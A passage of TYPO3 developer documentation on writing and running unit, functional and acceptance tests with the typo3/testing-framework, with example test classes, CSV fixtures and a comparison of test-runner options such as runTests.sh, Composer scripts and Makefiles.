Good examples are often Extbase MVC controller actions: A typical controller usually does not do much more than fetching some objects from a repository just to assign them to the view. There is no benefit in adding a unit test for this: A unit test can't do much more than verifying some specific framework methods are actually called. It thus needs to mock the object dependencies to only verify some method is hit with some argument. This is tiresome to set up and you're then testing a trivial part of your controller: Looking at the controller clearly shows the underlying method is called. Why bother?

Another example are Extbase models: Most Extbase model properties consist of a protected property, a getter and a setter method. This is near no-brainer code, and many developers auto-generate getters and setters by an IDE anyway. Unit testing this code leads to broken tests with each trivial change of the model class. That's tiresome and likely some waste of time. Concentrate unit testing efforts on stuff that does data munging magic as outlined above! One of your model getters initializes some object storage, then sorts and filters objects? That can be helpful if unit tested, your filter code is otherwise most likely broken. Add unit tests to prove it's not.

A much better way of testing glue code are functional tests: Set up a proper scenario in your database, then call your controller that will use your repository and models, then verify your view returns something useful. With adding a functional test for this you can kill many birds with one stone. This has many more benefits than trying to unit test glue code.

A good sign that your unit test would be more useful if it is turned into a functional test is if the unit tests needs lots of lines of code to mock dependencies, just to test something using ->shouldBeCalled() on some mock to verify on some dependency is actually called. Go ahead and read some unit tests provided by the Core: We're sure you'll find a bad unit test that could be improved by creating a functional test from it.

Keep it simple

This is an important rule in testing: Keep tests as simple as possible! Tests should be easy to write, understand, read and refactor. There is no point in complex and overly abstracted tests. Those are pain to work with. The basic guides are: No loops, no additional class inheritance, no additional helper methods if not really needed, no additional state. As simple example, there is often no point in creating an instance of the subject in setUp() just to park it as in property. It is easier to read to just have a $subject = new MyClass() call in each test at the appropriate place. Test classes are often much longer than the system under test. That is ok. It's better if a single test is very simple and to copy over lines from one to the other test over and over again than trying to abstract that away. Keep tests as simple as possible to read and don't use fancy abstraction features.

Running Unit tests

Install PHPUnit and the TYPO3 testing framework

In order to run unit tests within an extension or project you can require PHPUnit and the testing framework via Composer as a development dependency:

composer require --dev \
  "typo3/testing-framework":"^8.0.9" \
  "phpunit/phpunit":"^10.5"
Copied!

Which versions to use depends on the PHP and TYPO3 versions to be supported.

The following matrix can help you to choose the correct versions.

testing-framework TYPO3 PHP PHPUnit
8.x.x v12, v13 (main) 8.1, 8.2, 8.3 (8.4) ^10, ^11
7.x.x v11, v12 7.4, 8.0, 8.1, 8.2, 8.3 (8.4) ^9, ^10
6.x.x v10, v11 7.2, 7.3, 7.4, 8.0, 8.1, 8.2, 8.3 ^8, ^9

Testing framework <= 6.x is no longer maintained.

Provide configuration files for unit tests

The TYPO3 testing framework comes with a predefined unit test configuration and a bootstrapping file. You should copy these files into your project so you can adjust them as needed:

Copy the files vendor/typo3/testing-framework/Resources/Core/Build/UnitTests.xml and vendor/typo3/testing-framework/Resources/Core/Build/UnitTestsBootstrap.php

Open file UnitTests.xml and adjust the paths to the path (or multiple paths) where the unit tests are stored. By convention many extensions store them in the directory Tests/Unit and subdirectories thereof:

UnitTests.xml for extension testing
<testsuites>
    <testsuite name="Unit tests">
-        <directory>../../../../../../typo3/sysext/*/Tests/Unit/</directory>
+        <directory>../../Tests/Unit/</directory>
    </testsuite>
</testsuites>
Copied!

If you are testing in a project you will probably have a directory from where local extensions like site packages and client-specific extensions are installed , so you can also include them:

UnitTests.xml for project testing
<testsuites>
    <testsuite name="Unit tests">
-        <directory>../../../../../../typo3/sysext/*/Tests/Unit/</directory>
+        <directory>../../Tests/Unit/</directory>
+        <directory>../../packages/*/Tests/Unit/</directory>
    </testsuite>
</testsuites>
Copied!

Run the unit tests on your system or with DDEV

If you have the required PHP version installed on your host system, you can run the unit tests directly:

php vendor/bin/phpunit -c Build/phpunit/UnitTests.xml
Copied!

Or you can run them on ddev:

ddev exec php vendor/bin/phpunit -c Build/phpunit/UnitTests.xml
Copied!

If you are using DDEV, you can also create a custom command so you can run these tests again and again.

If you want to only run a specific test case (test class) or test (method in a test class) you can use the filter option:

php vendor/bin/phpunit -c Build/phpunit/UnitTests.xml --filter "MyTest"
Copied!

You can of course define a Composer script <https://getcomposer.org/doc/articles/scripts.md> as well, so that this command can be executed easily on the host, within a DDEV container and also in GitHub Actions or Gitlab CI.

Run the unit tests with runTests.sh

If you are using a runTests.sh like the one used by the t3docs/blog-example you can run the tests with:

Build/Script/runTests.sh -s unit
Copied!

It is also possible to choose the PHP version to run the tests with:

Build/Script/runTests.sh -s unit -p 8.2
Copied!

You can start by copying the runTests.sh of blog_example and adjust it to your needs.

There are different solutions to store and execute these commands. For details see Test Runners: Organize and execute tests.

runTests.sh is a script that originates from the TYPO3 Core repository and is used as a test and tool execution runner. It is based on running individual Docker containers with several bash commands, and also allows Xdebug integration, different database environments and much more. Once you copy such a file to your repository you need to take care of maintaining it when possible bugfixes or changes occur upstream.

Functional testing with the TYPO3 testing framework

Simple Example

At the time of this writing, TYPO3 Core contains more than 2600 functional tests, so there are plenty of test files to look at to learn about writing functional tests. Do not hesitate looking around, there is plenty to discover.

As a starter, let's have a look at a basic scenario from the styleguide example again:

EXT:styleguide/Tests/Functional/TcaDataGenerator/GeneratorTest.php
<?php

namespace TYPO3\CMS\Styleguide\Tests\Functional\TcaDataGenerator;

use PHPUnit\Framework\Attributes\Test;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

class GeneratorTest extends FunctionalTestCase
{
    /**
     * Have styleguide loaded
     */
    protected array $testExtensionsToLoad = [
        'typo3conf/ext/styleguide',
    ];

    #[Test]
    public function generatorCreatesBasicRecord(): void
    {
        //...
    }
}
Copied!

That's the basic setup needed for a functional test: Extend FunctionalTestCase, declare extension styleguide should be loaded and have a first test.

Extending setUp

Note setUp() is not overridden in this case. If you override it, remember to always call parent::setUp() before doing own stuff. An example can be found in \TYPO3\CMS\Backend\Tests\Functional\Domain\Repository\Localization\LocalizationRepositoryTest:

typo3/sysext/backend/Tests/Functional/Domain/Repository/Localization/LocalizationRepositoryTest.php
<?php

declare(strict_types=1);

namespace TYPO3\CMS\Backend\Tests\Functional\Domain\Repository\Localization;

use TYPO3\CMS\Backend\Domain\Repository\Localization\LocalizationRepository;
use TYPO3\CMS\Core\Core\Bootstrap;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

/**
 * Test case
 */
class LocalizationRepositoryTest extends FunctionalTestCase
{
    /**
     * @var LocalizationRepository
     */
    protected $subject;

    /**
     * Sets up this test case.
     */
    protected function setUp(): void
    {
        parent::setUp();

        $this->importCSVDataSet(__DIR__ . '/Fixtures/be_users.csv');
        $this->setUpBackendUser(1);
        Bootstrap::initializeLanguageObject();

        $this->importCSVDataSet(ORIGINAL_ROOT . 'typo3/sysext/backend/Tests/Functional/Domain/Repository/Localization/Fixtures/DefaultPagesAndContent.csv');

        $this->subject = new LocalizationRepository();
    }

    // ...
}
Copied!

The above example overrides setUp() to first call parent::setUp(). This is critically important to do, if not done the entire test instance set up is not triggered. After calling parent, various things needed by all tests of this scenario are added: A database fixture is loaded, a backend user is added, the language object is initialized and an instance of the system under test is parked as $this->subject within the class.

Loaded extensions

The FunctionalTestCase has a couple of defaults and properties to specify the set of loaded extensions of a test case: First, there is a set of default Core extensions that are always loaded. Those should be require or at least require-dev dependencies in a composer.json file, too: core, backend, frontend, extbase and install.

Apart from that default list, it is possible to load additional Core extensions: An extension that wants to test if it works well together with workspaces, would for example specify the workspaces extension as additional to-load extension:

EXT:my_extension/Tests/Functional/SomeTest.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Tests\Functional;

use PHPUnit\Framework\Attributes\Test;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

class SomeTest extends FunctionalTestCase
{
    protected array $coreExtensionsToLoad = [
        'workspaces',
    ];

    #[Test]
    public function somethingWithWorkspaces(): void
    {
        //...
    }
}
Copied!

Furthermore, third party extensions and fixture extensions can be loaded for any given test case:

EXT:my_extension/Tests/Functional/SomeTestExtensions.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Tests\Functional;

use PHPUnit\Framework\Attributes\Test;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

class SomeTest extends FunctionalTestCase
{
    protected array $testExtensionsToLoad = [
        'typo3conf/ext/some_extension/Tests/Functional/Fixtures/Extensions/test_extension',
        'typo3conf/ext/base_extension',
    ];

    #[Test]
    public function somethingWithExtensions(): void
    {
        //...
    }
}
Copied!

In this case the fictional extension some_extension comes with an own fixture extension that should be loaded, and another base_extension should be loaded. These extensions will be linked into typo3conf/ext of the test case instance.

The functional test bootstrap links all extensions to either typo3/sysext for Core extensions or typo3conf/ext for third party extensions, creates a PackageStates.php and then uses the database schema analyzer to create all database tables specified in the ext_tables.sql files.

Database fixtures

To populate the test database tables with rows to prepare any given scenario, the helper method $this->importCSVDataSet() can be used. Note it is not possible to inject a fully prepared database, for instance it is not possible to provide a full .sqlite database and work on this in the test case. Instead, database rows should be provided as .csv files to be loaded into the database using $this->importCSVDataSet(). An example file could look like this:

A CSV data set
"pages"
,"uid","pid","sorting","deleted","t3_origuid","title"
,1,0,256,0,0,"Connected mode"

"tt_content"
,"uid","pid","sorting","deleted","sys_language_uid","l18n_parent","l10n_source","t3_origuid","header"
,297,1,256,0,0,0,0,0,"Regular Element #1"
Copied!

This file defines one row for the pages table and one tt_content row. So one .csv file can contain rows of multiple tables.

Changed in version Testing Framework 8

There was a similar method called $this->importDataSet() that allowed loading database rows defined as XML instead of CSV. It was deprecated in testing framework 7 and removed with 8.

In general, the methods need the absolute path to the fixture file to load them. However some keywords are allowed:

EXT:some_extension/Tests/Functional/SomeTestImportDataSet.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Tests\Functional;

use PHPUnit\Framework\Attributes\Test;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

class SomeTest extends FunctionalTestCase
{
    #[Test]
    public function importData(): void
    {
        // Load a CSV file relative to test case file
        $this->importCSVDataSet(__DIR__ . '/../Fixtures/pages.csv');
        // Load a CSV file of some extension
        $this->importCSVDataSet('EXT:frontend/Tests/Functional/Fixtures/pages-title-tag.csv');
        // Load a CSV file provided by the typo3/testing-framework package
        $this->importCSVDataSet('PACKAGE:typo3/testing-framework/Resources/Core/Functional/Fixtures/pages.csv');
    }
}
Copied!

Asserting database

A test that triggered some data munging in the database probably wants to test if the final state of some rows in the database is as expected after the job is done. The helper method assertCSVDataSet() helps to do that. As in the .csv example above, it needs the absolute path to some CSV file that can contain rows of multiple tables. The methods will then look up the according rows in the database and compare their values with the fields provided in the CSV files. If they are not identical, the test will fail and output a table which field values did not match.

Loading files

If the system under test works on files, those can be provided by the test setup, too. As example, one may want to check if an image has been properly sized down. The image to work on can be linked into the test instance:

EXT:my_extension/Tests/Functional/SomeTestFiles.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Tests\Functional;

use PHPUnit\Framework\Attributes\Test;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

class SomeTest extends FunctionalTestCase
{
    protected array $pathsToLinkInTestInstance = [
        'typo3/sysext/impexp/Tests/Functional/Fixtures/Folders/fileadmin/user_upload/typo3_image2.jpg' => 'fileadmin/user_upload/typo3_image2.jpg',
    ];

    #[Test]
    public function somethingWithFiles(): void
    {
        //...
    }
}
Copied!

It is also possible to copy the files to the test instance instead of only linking it using $pathsToProvideInTestInstance.

Setting TYPO3_CONF_VARS

A default config/system/settings.php file of the instance is created by the default setUp(). It contains the database credentials and everything else to end up with a working TYPO3 instance.

If extensions need additional settings in config/system/settings.php, the property $configurationToUseInTestInstance can be used to specify these:

EXT:my_extension/Tests/Functional/SomeTestConfiguration.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Tests\Functional;

use PHPUnit\Framework\Attributes\Test;
use Symfony\Component\Mailer\Transport\NullTransport;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

class SomeTest extends FunctionalTestCase
{
    protected array $configurationToUseInTestInstance = [
        'MAIL' => [
            'transport' => NullTransport::class,
        ],
    ];

    #[Test]
    public function something(): void
    {
        //...
    }
}
Copied!

Frontend tests

To prepare a frontend test, the system can be instructed to load a set of .typoscript files for a working frontend:

EXT:my_extension/Tests/Functional/SomeTestFrontend.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Tests\Functional;

use PHPUnit\Framework\Attributes\Test;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

class SomeTest extends FunctionalTestCase
{
    #[Test]
    public function somethingWithWorkspaces(): void
    {
        $this->setUpFrontendRootPage(
            1,
            ['EXT:fluid_test/Configuration/TypoScript/Basic.typoscript'],
        );
    }
}
Copied!

This instructs the system to load the Basic.typoscript as TypoScript file for the frontend page with uid 1.

A frontend request can be executed calling $this->executeFrontendRequest(). It will return a Response object to be further worked on, for instance it is possible to verify if the body ->getBody() contains some string.

Introduction to functional tests

Functional testing in TYPO3 world is basically the opposite of unit testing: Instead of looking at rather small, isolated pieces of code, functional testing looks at bigger scenarios with many involved dependencies. A typical scenario creates a full instance with some extensions, puts some rows into the database and calls an entry method, for instance a controller action. That method triggers dependent logic that changes data. The tests end with comparing the changed data or output is identical to some expected data.

This chapter goes into details on functional testing and how the typo3/testing-framework helps with setting up, running and verifying scenarios.

Overview

Functional testing is much about defining the specific scenario that should be set up by the system and isolating it from other scenarios. The basic thinking is that a single scenario that involves a set of loaded extensions, maybe some files and some database rows is a single test case (= one test file), and one or more single tests are executed using this scenario definition.

Single test cases extend \TYPO3\TestingFramework\Core\Functional\FunctionalTestCase. The default implementation of method setUp() contains all the main magic to set up a new TYPO3 instance in a sub folder of the existing system, create a database, create config/system/settings.php, load extensions, populate the database with tables needed by the extensions and to link or copy additional fixture files around and finally bootstrap a basic TYPO3 backend. setUp() is called before each test, so each single test is isolated from other tests, even within one test case. There is only one optimization step: The instance between single tests of one test case is not fully created from scratch, but the existing instance is just cleaned up (all database tables truncated). This is a measure to speed up execution, but still, the general thinking is that each test stands for its own and should not have side effects on other tests.

The \TYPO3\TestingFramework\Core\Functional\FunctionalTestCase contains a series of class properties. Most of them are designed to be overwritten by single test cases, they tell setUp() what to do. For instance, there is a property to specify which extensions should be active for the given scenario. Everyone looking or creating functional tests should have a look at these properties: They are well documented and contain examples how to use. These properties are the key to instruct typo3/testing-framework what to do.

The "external dependencies" like credentials for the database are submitted as environment variables. If using the recommended docker based setup to execute tests, these details are taken care off by the runTests.sh. See the styleguide example for details on how this is set up and used, and check out Test Runners: Organize and execute tests for details on test runners. Executing the functional tests on different databases is handled by these and it is possible to run one test on different databases by calling runTests.sh with the according options to do this. The above chapter Extension testing is about executing tests and setting up the runtime, while this chapter is about writing tests and setting up the scenario.

Acceptance testing with the TYPO3 testing framework

Introduction

Acceptance testing in TYPO3 world is about piloting a browser to click through a frontend generated by TYPO3 or clicking through scenarios in the TYPO3 backend.

The setup provided by typo3/testing-framework and supported by runTests.sh and docker-compose.yml as outlined in the styleguide example is based on codeception and selenium, usually using chrome as browser. Also see Test Runners: Organize and execute tests for details on test runners.

Similar to functional testing, acceptance tests set up an isolated TYPO3 instance that contains everything needed for the scenario. In contrast to functional tests, though, one test suite that contains multiple tests relies on a single instance: With functional tests, each test case gets its own instance, with acceptance tests, there is typically one test suite with only one instance and all tests are executed in this instance. As a result, tests may have dependencies between each other. If for instance one acceptance test created a scheduler tasks, and a second one verifies this task can be deleted again, the second task depends on the first one to be successful. Other than that, the basic instance setup is similar to functional tests: Extensions can be loaded, the instance can be populated with fixture files and database rows and so on.

Again, typo3/testing-framework helps with managing the instance and contains some helper classes to solve various needs in a typical TYPO3 backend, it for instance helps with selecting a specific page in the page tree.

Set up

Extension developers who want to add acceptance tests for their extensions should have a look at the styleguide example for the basic setup. It contains a codeception.yml file, a suite, a tester and a bootstrap extension that sets up the system. The bootstrap extension should be fine tuned to specify - similar to functional tests - which specific extensions are loaded and which database fixtures should be applied.

Preparation of the browser instance and calling codeception to execute the tests is again performed by runTests.sh in docker containers. The chapter Extension testing is about executing tests and setting up the runtime, while this chapter is about the TYPO3 specific acceptance test helpers provided by the typo3/testing-framework.

Backend login

The suite file (for instance Backend.suite.yml) should contain a line to load and configure the backend login module:

EXT:some_extension/Tests/Acceptance/Backend.suite.yml
modules:
  enabled:
    - \TYPO3\TestingFramework\Core\Acceptance\Helper\Login:
      sessions:
        # This sessions must exist in the database fixture to get a logged in state.
        editor: ff83dfd81e20b34c27d3e97771a4525a
        admin: 886526ce72b86870739cc41991144ec1
Copied!

This allows an editor and an admin user to easily log into the TYPO3 backend without further fuzz. An acceptance test can use it like this:

EXT:styleguide/Tests/Acceptance/Backend/ModuleCest.php
<?php

declare(strict_types=1);

namespace TYPO3\CMS\Styleguide\Tests\Acceptance\Backend;

use TYPO3\CMS\Styleguide\Tests\Acceptance\Support\BackendTester;

class ModuleCest
{
    /**
     * @param BackendTester $I
     */
    public function _before(BackendTester $I)
    {
        $I->useExistingSession('admin');
    }
}
Copied!

The call $I->useExistingSession('admin') logs in an admin user into the TYPO3 backend and lets it call the default view (usually the about module).

Frames

Dealing with the backend frames can be a bit tricky in acceptance tests. The typo3/testing-framework contains a trait to help here: The backend tester should use this trait, which will add two methods. The implementation of these methods takes care the according frames are fully loaded before proceeding with further tests:

EXT:styleguide/Tests/Acceptance/Backend/SomeCest.php
<?php

declare(strict_types=1);

namespace TYPO3\CMS\Styleguide\Tests\Acceptance\Backend;

use TYPO3\CMS\Styleguide\Tests\Acceptance\Support\BackendTester;

class SomeCest
{
    /**
     * @param BackendTester $I
     */
    public function _before(BackendTester $I)
    {   // Switch to "content frame", eg the "list module" content
        $I->switchToContentFrame();

        // Switch to "main frame", the frame with the main modules and top bar
        $I->switchToMainFrame();
    }
}
Copied!

PageTree

An abstract class of typo3/testing-framework can be extended and used to open and select specific pages in the page tree. A typical class looks like this:

typo3/sysext/core/Tests/Acceptance/Support/Helper/PageTree.php
<?php

declare(strict_types=1);

namespace TYPO3\CMS\Core\Tests\Acceptance\Support\Helper;

use TYPO3\CMS\Core\Tests\Acceptance\Support\BackendTester;
use TYPO3\TestingFramework\Core\Acceptance\Helper\AbstractPageTree;

/**
 * @see AbstractPageTree
 */
class PageTree extends AbstractPageTree
{
    /**
     * Inject our Core AcceptanceTester actor into PageTree
     *
     * @param BackendTester $I
     */
    public function __construct(BackendTester $I)
    {
        $this->tester = $I;
    }
}
Copied!

This example is taken from the Core extension, other extensions should use their own instance in an own extension based namespace. If this is done, the PageTree support class can be injected into a test:

EXT:some_extension/Tests/Acceptance/Backend/SomeCest.php
<?php

declare(strict_types=1);

namespace Vendor\SomeExtension\Tests\Acceptance\Backend\FormEngine;

use TYPO3\CMS\Core\Tests\Acceptance\Support\BackendTester;
use TYPO3\CMS\Core\Tests\Acceptance\Support\Helper\PageTree;

class ElementsBasicInputDateCest extends AbstractElementsBasicCest
{
    public function _before(BackendTester $I, PageTree $pageTree)
    {
        $I->useExistingSession('admin');

        $I->click('List');
        $pageTree->openPath(['styleguide TCA demo', 'elements basic']);

        // ...
    }
}
Copied!

The example above (adapt to your namespaces!) instructs the PageTree helper to find a page called "styleguide TCA demo" at root level, to extend that part of the tree if not yet done, and then select the second level page called "elements basic".

ModalDialog

Similar to the PageTree, an abstract class called AbstractModalDialog is provided by typo3/testing-framework to help dealing with modal "popups" The class can be extended and used in own extensions in a similar way as outlined above for the PageTree helper.

Test Runners: Organize and execute tests

Executing commands to run tests and other toolchain scripts can be tedious. Sadly there is no "one-fits-all" solution for this.

This chapter tries to explain available options, in summary:

  • Use a bash alias
  • Write a bash script
  • Introduce custom DDEV commands
  • Introduce a Composer script
  • Create a Makefile
  • Use dedicated tools like just
  • Use the runTests.sh script based on the TYPO3-Core
  • Use a customized runTests.sh script based on blog_example
  • Use a generator

All these commands and tasks are not only run by you as a developer (or end-user) and your co-workers, but are also relevant for Continuous Integration (CI), Continuous Deployment (CD) - for example via GitHub Actions or GitLab Pipelines.

What are test runners and why do we need them

As you can read in the chapters about Testing, there is a multitude of available tooling around a project:

  • Unit testing
  • Functional testing
  • Acceptance testing
  • Integration testing
  • Linting
  • Validating
  • Static code analysis
  • Coding guideline (CGL) analysis
  • Rendering documentation
  • Deployment

Each of these tasks or commands are executed on different levels.

First of all, you as a developer want to execute this. You might want to do this on your host computer. This could be any operating system, each with their own needed commands (macOS, Windows, Linux/Unix derivates).

And you could also perform this within a virtual environment (VM) or a isolated container (Docker). Or within an environment/framework that helps you with that (DDEV).

Then, not only you may want to run the commands, but also co-workers, or customers/users of your project.

Also, you may want to (and should) automate executing these commands on a schedule, like with GitHub Actions or GitLab Pipelines, or even locally with cronjobs. You might want to execute tests locally before you push code to a Git repository.

As you can see: The ways to execute the tests can very a lot, depending on the environment. Some commands can only be executed with the proper PHP and Bash version environment. The tools themselves need to be installed, and may have dependencies.

All of that leads to one central question:

Question: How can I execute the commands in a re-usable way for everyone, and do not put much effort into "how to do this".

Sadly, the answer is not something you may want to read:

Answer: You cannot. You may need to use multiple ways, or focus and discuss, what suits your needs best.

To pick the right way on running your tests means to talk with the people involved with your project, most notable the maintainers and your environment.

If everyone working on a project uses the same environment, this can be easy. But as soon as you are maintaining an OpenSource project and want to welcome contributors with all kinds of environments, it gets harder. You might even need to create redundancy for running tests.

The following sections describe each method of running a test with their advantages and disadvantages, so that you will hopefully be able to make an informed decision on picking what is best for you.

Use a bash alias

If all people involved are able to use bash (also available in Windows WSL), you could create an alias for each tool (in your bash/shell profile), for example:

 /.bash_profile or  /.zshrc or other
alias test-project="php vendor/bin/phpunit -c Build/phpunit/UnitTests.xml"
alias render-docs="docker run --rm --pull always -v ./:/project/ ghcr.io/typo3-documentation/render-guides:latest --no-progress --config=Documentation Documentation"
alias render-sync="open http://localhost:5174/Documentation-GENERATED-temp/Index.html && docker run --rm -it --pull always -v ./Documentation:/project/Documentation -v ./Documentation-GENERATED-temp:/project/Documentation-GENERATED-temp -p 5174:5173 ghcr.io/garvinhicking/typo3-documentation-browsersync:latest"
alias render-changelog="docker run --rm --pull always -v ./:/project/ ghcr.io/typo3-documentation/render-guides:latest --no-progress --config=typo3/sysext/core/Documentation typo3/sysext/core/Documentation"
alias t3-build="Build/Scripts/runTests.sh -s composerInstall ; Build/Scripts/runTests.sh -s clean ; Build/Scripts/runTests.sh -s buildCss ; Build/Scripts/runTests.sh -s buildJavascript"
Copied!

Advantages:

  • Runs quick and locally
  • Well suited if you are the only one running tests

Disadvantages:

  • Requires all the tooling to be installed locally
  • Cannot be re-used for automated testing on GitHub or GitLab
  • Sharing aliases is cumbersome and requires everyone involved to do this in their local environment

Write a bash script

Similar to the bash alias, you can also create a script file for each of your tasks, like a execute-phpunit.sh file:

execute-phpunit.sh
#!/bin/bash
composer install && php vendor/bin/phpunit -c Build/phpunit/UnitTests.xml
Copied!

Simple scripts like these (only containing basic commands) could be put into the project's Git repository and even be shared to other people to be executed.

Advantages:

  • Can be shared and re-used
  • Could also be executed on automated environments (as long as all dependencies are installed in the environment)
  • Easy to understand
  • Good compatibility because Bash is available cross-platform

Disadvantages:

  • Requires local environment (i.e. proper PHP version)
  • Maintaining compatibility to other operating systems may be hard

Introduce custom DDEV commands

If your project is already utilizing ddev, you can make use of custom commands delivered with your project's .ddev/ configuration infrastructure.

Details for creating these commands can be found in the ddev Manual.

Advantages:

  • Commands can be executed inside the ddev environment with exactly the right dependencies and software versions
  • No further local dependency apart from ddev; PHP and other components are set within the container already.
  • Can be shared just as easily like your ddev configuration, all people involved can use it without further setup.

Disadvantages:

  • Can not be (easily) used for automated deployment due to the ddev dependency.
  • Some tools that depend on docker (for example, the documentation rendering) cannot be used easily, because docker-in-docker is a problem. These commands might then needed to be run locally, outside the container (commands also allow this)
  • People without ddev cannot execute your commands, even if they could run the project itself without ddev. So this would fix your testing on a ddev dependency.

Introduce a Composer script

Since most projects involving TYPO3 are already Composer-based, you could create specific Composer scripts for each task. Composer could also execute specific docker commands.

An example for a large and thorough integration of Composer scripts is the TYPO3-documentation/tea repository, if you start by inspecting its composer.json file.

Advantages:

  • Integrated into the PHP ecosystem, allows to run both PHP scripts and shell commands
  • Commands can be grouped and structured well, dependencies of scripts can be configured
  • Can be utilized by everyone running Composer already (both inside and outside of containers)
  • Can be easily shared, because the composer.json file is already shared to everyone.
  • Can be easily used by automated testing, for example in GitHub Actions and GitLab Pipelines.
  • Available scripts are easily revealed in the Composer help output

Disadvantages:

  • Depends on PHP, so when executed on the host, the environments and dependencies need to match
  • PHP running certain processes (like Docker containers) may introduce memory or other timeout limits and problems

Create a Makefile

On most systems, a Makefile can be used for scripting and running tasks. The TYPO3 Documentation repositories often utilize this, because it offers a nice way of listing all available Makefile tasks and run them on the host computer. Makefiles can also be scripted with variables and conditions.

Advantages:

  • Makefiles are a well-known standard even outside PHP projects
  • Makefiles can be easily shared and usually executed on both host side and within containers
  • Makefiles can also be used for automated testing (GitHub Actions, GitLab Pipelines)
  • Makefiles offer code completion and help texts

Disadvantages:

  • Makefiles are harder to read and write, and using them as a "script runner" is frowned upon for "abusing" the original intent of Makefiles (compiling software).
  • Makefiles are considered "legacy" and are not so common within PHP projects

Use dedicated tools like just

As an alternative to Makefile, tools like just are aimed to be script runners, cross-platform compatible.

Advantages:

  • Dedicated tooling, cross-platform execution
  • Modern development and configuration, easily shareable

Disadvantages:

  • Software like this needs to be installed specifically and create a dependency. The chosen software might not be maintained in the future
  • Using the software may need training for people involved
  • Using this in automated testing environments require installation

Use the runTests.sh script based on the TYPO3-Core

Because of the need to run tests reliably the same way for everyone, the TYPO3 core internally uses the script runTests.sh.

This is based on the aforementioned bash script.

The script is tailored specifically to running TYPO3 Core tests, which can be very close to your own needs. All of the commands in the script are executed using dockerized PHP and other components.

The script also takes care of running database containers, thus making everything highly adaptable to specific PHP versions and other tooling. The only dependency to run this locally, is having docker (or podman) and bash.

Because of this, the script is highly suitable for running matrix-based automated testing with diverse configurations.

It also offers a very useful xdebug integration for tests, so that you can easily use an IDE to hook into any test execution. The script is actively used and maintained by the TYPO3 Core team with great care.

Advantages:

  • Close to no dependencies other than docker and bash
  • Tightly adapted to TYPO3 needs
  • well-maintained
  • very powerful for matrix-based automated testing
  • very adaptable

Disadvantages:

  • Very hard and complex to maintain for people without a good bash and docker knowledge
  • Copy+Paste of the script will require YOU to take over maintaining the script in case of bugs, security issues or new tools
  • Stripping down and adapting the file to suit your needs takes some effort

Use a customized runTests.sh script based on blog_example

Because the runTests.sh file of the TYPO3 Core may be intimidating, several TYPO3 projects have already adapted the script and stripped down to more basic needs.

One example of this is the TYPO3-Documentation/blog_example adaption. This script contains the most basic commands to execute commands:

  • CGL (runTests.sh -s cgl)
  • Composer installation (runTests.sh -s composer ...)
  • Linting (runTests.sh -s lint)
  • Code analysis (runTests.sh -s phpstan)
  • Unit tests (runTests.sh -s unit)
  • Functional tests (runTests.sh -s functional)
  • Rendering documentation (runTests.sh -s renderDocumentation)
  • ... and a few more

Advantages:

  • Mostly the same advantages like the "normal" runTests.sh
  • A more "real life" example outside the TYPO3 Core on how to use the idea of the runTests.sh script (providing docker-ized command execution).
  • Better readable due to clearer focus

Disadvantages:

  • Even though it could be copy+pasted by you, the same disadvantages like the "normal" runTests.sh apply: Still needs to be maintained by you, cannot be included as a "composer dependency"
  • Future changes to the script may be more tailored to the needs of blog-example.

Sidenote for the daring: An experiment has been made in garvinhicking/typo3-tf-runtests as a "proof of concept" to make the Core's runTests.sh file able to run custom commands, and be utilized as a Composer package. This work will very likely never be implemented, because the TYPO3 Core is not suited to provide runTests.sh as an API due to it's focus. However, this may be a base for your own experiments on making a script runner adaptable.

Use a generator

All the variants described above have the shared disadvantage, that you yourself as a project maintainer are responsible for creating the scripts and configuration for any script runner.

Depending on your skillset, this may be a task you are not willing to take on.

Thus, effort is being made to offer generators that can create Composer script integration plus helpers, to achieve integrating a choice of most common tools.

Please check out the work of the TYPO3 Best Practices Team for more information on this. If you are interested in helping this effort, please get in touch.

Advantages:

  • You will not need to maintain configuration and scripts yourself
  • You can pick from lists of suggested tooling, and adapt to your needs

Disadvantages:

  • This tool is still work in progress (and may not even come to fruition)
  • The generated configuration/commands may be opinionated (just as runTests.sh), and may not suit your needs
  • Updates to configuration and new tooling will need you to regard this as a dependency, and require you to update your command configuration to fix bugs or security issues

Testing enetcache

Introduction

As an extension author, it is likely that you may want to test your extension during its development. This chapter details how extension authors can set up automatic extension testing. We'll do that with two examples. Both embed the given extension in a TYPO3 instance and run tests within this environment, both examples also configure GitHub Actions to execute tests. We'll use Docker containers for test execution again and use an extension specific runTests.sh script for executing test setup and execution.

Scope

About this chapter and what it does not cover, first.

  • This documentation assumes an extension is tested with only one major Core version. It does not support extension testing with multiple target Core versions (though that is possible). The Core Team encourages extension developers to have dedicated Core branches per Core version. This has various advantages, it is for instance easy to create deprecation free extensions this way.
  • We assume a Composer based setup. Extensions should provide a composer.json file anyway and using Composer for extension testing is quite convenient.
  • Similar to Core testing, this documentation relies on docker and docker-compose. See the Core testing requirements for more details.
  • We assume your extensions code is located within github and automatic testing is carried out using GitHub Actions. The integration of GitHub Actions into github is easy to set up with plenty of documentation already available. If your extensions code is located elsewhere or a different CI is used, this chapter may still be of use in helping you build a general understanding of the testing process.

General strategy

Third party extensions often rely on TYPO3 Core extensions to add key functionality.

If a project needs a TYPO3 extension, it will add the required extension using composer require to its own root composer.json file. The extensions composer.json then specifies additional detail, for instance which PHP class namespaces it provides and where they can be found. This properly integrates the extension into the project and the project then "knows" the location of extension classes.

If we want to test extension code directly, we do a similar change: We turn the composer.json file of the extension into a root composer.json file. That file then serves two needs at the same time: It is used by projects that require the extension as a dependency and it is used as the root composer.json to specify dependencies turning the extension into a project on its own for testing. The latter allows us to set up a full TYPO3 environment in a sub folder of the extension and execute the tests within this sub folder.

Testing enetcache

The extension enetcache is a small extension that helps with frontend plugin based caches. It has been available as Composer package and a TER extension for quite some time and is loosely maintained to keep up with current Core versions.

